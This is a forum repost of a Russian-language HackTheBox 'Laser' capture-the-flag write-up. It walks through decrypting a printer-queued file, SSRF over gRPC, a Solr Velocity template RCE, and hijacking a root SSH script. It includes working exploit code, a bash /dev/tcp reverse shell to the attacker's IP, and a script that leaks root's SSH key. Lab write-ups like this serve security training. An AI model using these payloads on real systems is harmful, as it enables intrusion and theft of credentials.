[Информационная безопасность, Python, CTF] HackTheBox. Прохождение Laser. Jetdirect, RPC и кража SSH

Автор Сообщение
news_bot ®

Стаж: 6 лет 9 месяцев
Сообщений: 27286

Создавать темы news_bot ® написал(а)
19-Дек-2020 23:31


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.

Организационная информация

SPL
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon
Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.
10.10.10.201   laser.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1


После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).

И мы находим даже инструмент, который позволяет нам работать с принтером.
Entry Point
Давайте посмотрим, что мы можем в итоге получить.

Осмотревшись, мы находим только один файл.

Давайте получим его и откроем.

Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.

Но мы можем достать ключ шифрования.

Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
from Crypto.Cipher import AES
mess = open("./PRET/queued", "r").read()[2:].replace("'", "")
mess_decrypt = base64.b64decode(mess)
IV, CT = mess_decrypt[8:24], mess_decrypt[24:]
chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)
OT = chip.decrypt(CT)
with open("decr.pdf", "wb") as f:
    f.write(OT)


По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.

Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC — это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.
Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
syntax = "proto3";
message Content {
string data = 1;
}
message Data {
float feed = 1;
}
service Print {
rpc Feed(Content) returns (Data) {}
}

Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая — набор примочек для автоматизации разработки.
sudo pip3 install grpcio
sudo pip3 install grpcio-tools

Теперь сгенерируем два файла.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto


Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"http://localhost:22"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
    response = stub.Feed(content, timeout=30)
    print(response)
except Exception as e:
    print(e.details())


То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
for port in range(1, 65536):
    p = '{"feed_url":"http://localhost:'+ str(port) +'"}'
    p2 = base64.b64encode(pickle.dumps(p))
    channel = grpc.insecure_channel('10.10.10.201:9000')
    stub = ralf_pb2_grpc.PrintStub(channel)
    content = ralf_pb2.Content(data=p2)
    try:
        response = stub.Feed(content, timeout=30)
        print("Port found: " + str(port))
    except Exception as e:
        if "Connection refused" in e.details():
            print("Port: "+ str(port), end="\r")
        else:
            print("Port open: " + str(port) + " "*10)


И находим нужный, отвечающий нам порт.
USER
Узнаем что это.


И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
  stub.Feed(content, timeout=30)
except Exception as e:
  print(e.details())

И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
  p = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'
  p2 = base64.b64encode(pickle.dumps(p))
  channel = grpc.insecure_channel('10.10.10.201:9000')
  stub = ralf_pb2_grpc.PrintStub(channel)
  content = ralf_pb2.Content(data=p2)
  try:
          response = stub.Feed(content, timeout=30)
  except Exception as e:
          print(e.details())

И у нас есть шелл от имени пользователя.

ROOT
Для удобного доступа сгенерируем и запишем SSH ключ.


Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.


Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.

Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление.

А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
#!/bin/sh
cp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa

Подождав немного обнаружим желанный ключ.

И подключимся как root.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
===========
Источник:
habr.com
===========

Похожие новости: Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_python, #_ctf, #_pentest, #_pentesting, #_ralf_rt, #_informatsionnaja_bezopasnost (информационная безопасность), #_ctf, #_htb, #_red_team, #_red_teaming, #_informatsionnaja_bezopasnost (
Информационная безопасность
)
, #_python, #_ctf
Профиль  ЛС 
Показать сообщения:     

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы

Текущее время: 22-Ноя 23:06
Часовой пояс: UTC + 5